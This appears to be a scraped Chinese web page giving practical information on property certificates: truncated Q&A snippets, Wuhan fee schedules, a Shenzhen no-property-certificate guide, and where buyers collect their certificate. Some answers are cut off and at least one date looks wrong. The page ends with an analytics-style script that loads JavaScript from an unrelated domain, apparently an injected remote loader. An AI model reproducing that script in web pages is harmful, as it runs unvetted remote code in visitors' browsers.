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祝静逸
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问请问房产证在哪里办?
答您可以去房地产交易中心办理,申请材料如下: (一)房地产转移登记申请表原件; (二)身份证明复印件(验原件); (三)房地产买卖合同书原件; (四)属于预售
问谁来说下武汉如何办房产证
答第一步:签订委托协议 通常《购房合同》中有关于委托开发商代办房产证的条款,这个条款本身就可以看作是一份单独的委托协议。此外,很多开发商还会要求购房人在《购
问请教一下农村房产证在哪里办
答你好,农村房产证的办理有一定的要求: 首先,初始登记是办理房产证的必要前提条件。 其次,购房者需要领取《房屋权登记申请表》才可以办理房产证。 再次,测
问求解答武汉办房产证需要哪些资料
答你好。 办理房产证需要有: 土地使用证、建房证和身份证等; 办理土地使用证需要:申请书、土地权属来源证明或用地批准文件、身份证和户口本等。 办理
问武汉办房产证流程是怎样的?
答1、确定开发商已经进行初始登记 开发商办理初始登记是自己办理房产证的必要前提条件。根据《商品房销售管理办法》第34条的规定,房地产开发企业应当在商品房
武汉办房产证需要多少钱?
现在人们的房产是一大重要的财产,很多人都因为房产而成为了拆二代,还有一类人因为房价的飙升而买卖房屋,所以现在房屋的管理还是比较缺乏的,为了保障大家的合法权益,国家目前倡导人们都办理房产证,根据房产证上的户主姓名来确认财产所得。不管是哪个地方,现在都可以办理房产证,但是房产证的办理需要缴纳一定的费用,也就是人们所说的税费,下面我们就来看一下武汉市办理房产证需要多少钱。武汉办房产证需要多少钱契税(征收标准以购房合同签订的时间为准)据悉,2011年武汉市房管局、地税局、物价局、国土资源和规划局联合发布《关于调整武汉市享受优惠政策普通住房的通知》,重新设定豪宅标准,新规规定:主城区单套建筑面积140平米、总价140万元以上、容积率1.5以下,满足任一条件即为豪宅;远城区单套建筑面积140平米、总价90万元以上、容积率1.0以下,满足任一条件即为豪宅。去除了之前2008年颁布的旧规对单价的限制,该标准从2011年12月1日起实施,豪宅契税按总价的3%征收。武汉市普通住宅标准:中心城区(含江岸、江汉、硚口、汉阳、武昌、青山、洪山等七个中心城区及东湖新技术开发区,武汉经济技术开发区和东湖生态旅游风景区)普通住房应同时满足以下条件:住宅小区建筑容积率在1.5以上;单套建筑面积在140平方米(含140平方米)以下;总价不超过140万元(含140万元)。其他远城区(含东西湖、蔡甸、汉南、新洲、黄陂及江夏等区)普通住房标准应同时满足以下条件:住宅小区建筑容积率在1.0以上;单套建筑面积在140平方米(含140平方米)以下;总价不超过90万元(含90万元)。住房维修基金2011年4月武汉发布了《武汉市住宅专项维修资金管理办法》,该办法5月1日起开始正式实行,购房合同在2011年5月1日签订的,就需要按照新的标准缴纳住房维修基金。缴存标准是购房人按照所拥有物业的建筑面积交存,每平方米建筑面积交存金额为每平方米建安造价的5%。建安造价是建筑安装的每平方米造价,这个数据由武汉市造价管理站定期发布参考数据,目前一般是每季度发布一次。购房合同2008年11月1日到2011年5月1日之间签订的,住房维修基金的缴纳标准则根据房屋的结构来分为几种不同的等级:砖混结构住宅49元/平方米,无电梯框架结构住宅55元/平方米,有电梯14层(含14层)以下框架结构住宅61元/平方米,有电梯15层(含)以上框架结构住宅73元/平方米。2008年11月1日前住宅维修基金按照2%标准交存,非住宅维修基金按照1%标准缴存。交易手续费收取标准如下:住宅3元/平方米;非住宅11元/平方米。房屋登记费收取标准如下:住宅80元/套;非住宅550元/件。武汉市的房产证办理与其他地区的大致相似,这都是由国家统一规定的,但是具体的费用于房产的面积大小有关,而且一些城市和村镇的房产证是不一样的,他们所需要交纳的费用也不同,我们应该按照具体的情况来分析。办理房产证需要很多的手续,我们应当按照国家规定,逐条办理,并交由相关部门人员审核材料,最终获得房产证,所以如果急需房产证的人员,最好是提早办理。
房产证明在哪里开?以深圳市房产证明怎么开为例
随着我们生活水平的不断提高,我们的房子也逐渐由当年的泥土青瓦逐渐变别现在的高楼大厦,而房产证也逐渐成为我们对房子拥有权的一种重要保障,特别是在北上广,买房已经成为许许多多青年面对的巨大压力,那么,如果我们需要出国或者办理其他事物,有时就需要房产证明,这时,我们应该怎么办理呢?下面就让我们就深圳无房产证明的办理做详细介绍吧。房产证明在哪里开?在买房、转户口等涉及到房产相关的事情上时,有时候需要开具无房产证明。关于深圳的无房产证明,网上有许多相关信息,但不少是旧信息,误时误事。我最近因转户口去开了深圳市无房产证明,极其简单,而且免费,现分享如下。工具/原料第二代身份证原件方法/步骤根据权威的官方网站即深圳市规划和国土资源委员会的介绍,开具方法是:开无房产情况证明请到深南中路档案大厦四楼“深圳市规划国土房产信息中心房地产权档案查询室”办理即可,业主需带上本人(和配偶)的身份证,电话:25985367http://www.szpl.gov.cn/hdjl/xffk/200908/t20090826_52203.htm事实上,除了上述地方,还有至少以下地方可以开具:具体位置如下:深南中路档案大厦四楼,进了大门,直走,找到七号窗口,那里有个自助柜员机。办理步骤一,点击:开具无房产证明;二,点击:确认;三,在屏幕下方的扫描区域扫描二代身份证;四,在扫描区域下方的出纸舱会打印出来A4纸的无房产证明,已经打印好了公章,直接可以用。五,为了防止万一,建议打印两份,免得再跑一趟。注意事项有些场合需要夫妻双方甚至子女的无房产证明,所以,请确认所需要的是个人无房产证明还是家庭无房产证明,以免浪费时间;只需要第二代身份证原件。相信上面对于房产证明在哪里开的具体办法的详细介绍,你已经对房产证明这些内容有了一定的了解和认识,房产证,做为一种我们住房的依据,拥有房产证你才能够对这个房子有一定的使用权和居住权,有房产证的人往往不会在办理时候存在一定的困扰,但是,对于暂时没有房产证的人来说,由于现在出国或者其他事务有时需要房产证明做为依据,相信上面介绍能够对你问题的处理有很大的帮助。
买了房子房产证在哪拿 你知道吗
买房子可是一件大事,许多人知道怎么挑户型,怎样算面积,怎样看地段,但是你知道买了房子房产证在哪拿吗?可能有人会说,不是买房子了售楼部就会给房产证吗,其实不然,房产证是由房子所在地国土资源管理部门来发放的。一、什么是房产证其实我们买了新房之后只能拿到的是购房合同而不是房产证哦。那买了房子房产证在哪拿呢?首先,我们要了解一下我们俗称的房产证到底是什么。房产证是购房者通过合法交易而取得合法房屋所有权,即《房屋所有权证》。通俗的说就是代表这个房子是你的了的法律证明哦!由于2013年5月起施行的《不动产登记暂行条例》,所以2013年5月后的房产证都要改为不动产证了。买了房子房产证在哪拿,知道了吧!二、房产证的发放机关知道买了房子房产证在哪拿,还要知道房产证的发证机关哦!2013年5月以前,房产证是由所在地房管局来管理和发放的。2013年5月《不动产登记暂行条例》颁布后,不动产证就由不动产所在地国土资源管理局部门登记与发放了。由不动产所有人提出申请后,国土资源部门可依法发放起不动产证。三、房产证的办理手续1、首先需要买卖房屋的购房合同原件2、需要购房者的身份证原件及复印件3、购房时的购房发票以及付款证明4、房屋的竣工验收单以及房屋的平面测绘图5、购房者的户口本及其复印件拿好上面所需的一些相关证件后,就可以在工作日去当地的国土资源管理机关办理。买了房子房产证在哪里拿你知道了吗。其实也没有想象中那么复杂,毕竟房子每个人都意义重大,还是拿出细心来办理吧。这下买了房子房产证在哪里拿就不是问题了。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
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